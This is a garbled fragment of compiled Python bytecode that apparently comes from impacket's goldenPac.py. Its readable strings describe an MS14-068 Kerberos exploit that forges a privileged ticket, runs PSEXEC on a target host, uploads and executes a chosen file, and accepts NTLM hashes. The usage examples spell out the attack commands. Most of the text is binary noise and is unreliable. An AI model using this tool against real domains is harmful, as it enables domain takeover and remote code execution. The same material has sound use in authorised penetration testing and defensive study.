ErrorCodesÚKDC_ERR_ETYPE_NOSUPPÚimpacket.ntlmrU  rV  rÑ  ré   rÒ  rð  ÚPA_ETYPE_INFO2ÚETYPE_INFO2_ENTRYrß  rø  rê  Ústring_to_keyrö  ÚEncASRepPartÚupperr  rV   r+  ÚNT_SRV_INSTr0  Úimpacket.krb5.ccacherZ  ÚfromTGSÚsaveFileÚimpacket.smbconnectionr.   r,  r÷   r/  rI   rU   r.  r¯   ) rS   ÚgetDCsr¡   ÚuserNamerA  Ú	exceptionrû  rÄ  r\  rü  rU  rV  ÚasReprW  ÚpaÚetype2r  rÏ  r  ÚencASRepPartr•  rú  r  ÚtgsCIFSÚoldSessionKeyCIFSÚsessionKeyCIFSrZ  ÚccacherX   r.   r£   Úexecuterr@   r@   rA   Úexploit‡  sØ   

€ü

þ€ð
 €ÿÿþú€÷­
T
ÿïzMS14_068.exploit)	Nra   ra   ra   Nra   NNN)r<   r=   r>   ÚCRC_32ÚRSA_MD4r‰  r   r#  rZ   r¸  r  r'  rB  rR  r|  r@   r@   r@   rA   r   £  s    
ÿ fq+)r   Ú__main__)rŽ  z"This module needs pyasn1 installedz7You can get it from https://pypi.python.org/pypi/pyasn1r]   )ru  )rv  )Úversion)rI  )rk   )rî  rÓ  rå  )r�  )rô  r`  r  ra  )rÒ  r×  rë  rõ  rí  ri  r�  rÕ  rØ  ré  rò  r÷  rg  )rø  )ry  )r�  rx  rz  r{  r|  r~  r  )rÑ  r”  )rŠ  TzgMS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the target or saves the TGT for later use.)Úadd_helpÚdescriptionr5  Ústorez+[[domain/]username[:password]@]<targetName>)ÚactionÚhelpz-tsÚ
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONrT   Ú*r_   z©command (or arguments if -c is used) to execute at the target (w/o path). Defaults to cmd.exe. 'None' will not execute PSEXEC (handy if you just want to save the ticket))Únargsr  r…  z-cr  zTuploads the filename for later execution, arguments are passed in the command option)r„  Úmetavarr…  z-wzBwrites the golden ticket in CCache format into the <pathname> filez-dc-ipz
ip addressz’IP Address of the domain controller (needed to get the users SID). If omitted it will use the domain part (FQDN) specified in the target parameterz
-target-ipzaIP Address of the target host you want to attack. If omitted it will use the targetName parameterÚauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz
Examples: z4	python goldenPac domain.net/normaluser@domain-host
z 	the password will be asked, or
z=	python goldenPac.py domain.net/normaluser:mypwd@domain-host
z=	if domain.net and/or domain-machine do not resolve, add themzU	to the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:
z_	python goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host
zR	This will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramnz]	python goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn
ra   zDomain should be specified!)Úgetpassz	Password:zcmd.exe)µÚ
__future__r   r   rð   rp   r€   rb   rd   r¹   Úbinasciir   Ú	threadingr   r   Úsixr   Úimpacket.dcerpc.v5r   Úimpacket.dcerpc.v5.drsuapir	   r
   r   r   r   r   r   r   r   r   Úimpacket.dcerpc.v5.dtypesr   r   Úimpacket.dcerpc.v5.lsadr   r   r   Úimpacket.dcerpc.v5.lsatr   r   Úimpacket.dcerpc.v5.nrpcr   r   Úimpacket.dcerpc.v5.rpcrtr   r   r   Úimpacket.krb5.pacr   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   Úimpacket.examplesr*   Úimpacket.examples.utilsr+   r,   r-   ro  r.   r/   Úimpacket.structurer0   r2   rC   r‘   rŒ   r”   rÏ   rI   rÂ   r�   r“   rñ   rî   r‹   r   r<   Úargparsers   Úpyasn1Úpyasn1.type.univrŽ  ÚImportErrorrq   rt   rà  Úcalendarru  rv  Úimpacketr€  rI  rk   Úimpacket.krb5.typesrî  rÓ  rå  Úimpacket.krb5r�  Úimpacket.krb5.kerberosv5rô  r`  r  ra  Úimpacket.krb5.asn1rÒ  r×  rë  rõ  rí  ri  r�  rÕ  rØ  ré  rò  r÷  rg  Úimpacket.krb5.cryptorø  Úimpacket.dcerpc.v5.ndrry  Úimpacket.dcerpc.v5.samrr�  rx  rz  r{  r|  r~  r  Úpyasn1.codec.derrÑ  r”  ÚCryptodome.HashrŠ  r¸   ÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_grouprš  r–   ÚargvÚ
print_helpÚ
parse_argsÚoptionsÚinitÚtsr›   r5  rV   rU   r7  Úaddressr8  r‹  r†   rT   ÚcommandsÚ	target_ipÚcÚwÚdc_ipÚdumperr|  ro   r¡   r‚  rƒ  r„  Ú	tracebackÚ	print_excrr   r@   r@   r@   rA   Ú<module>   s  $04
 !m
    
q

ý<$
ÿ
ÿ
ÿ
ÿ
ÿ
ÿ




 
ÿ€ü¤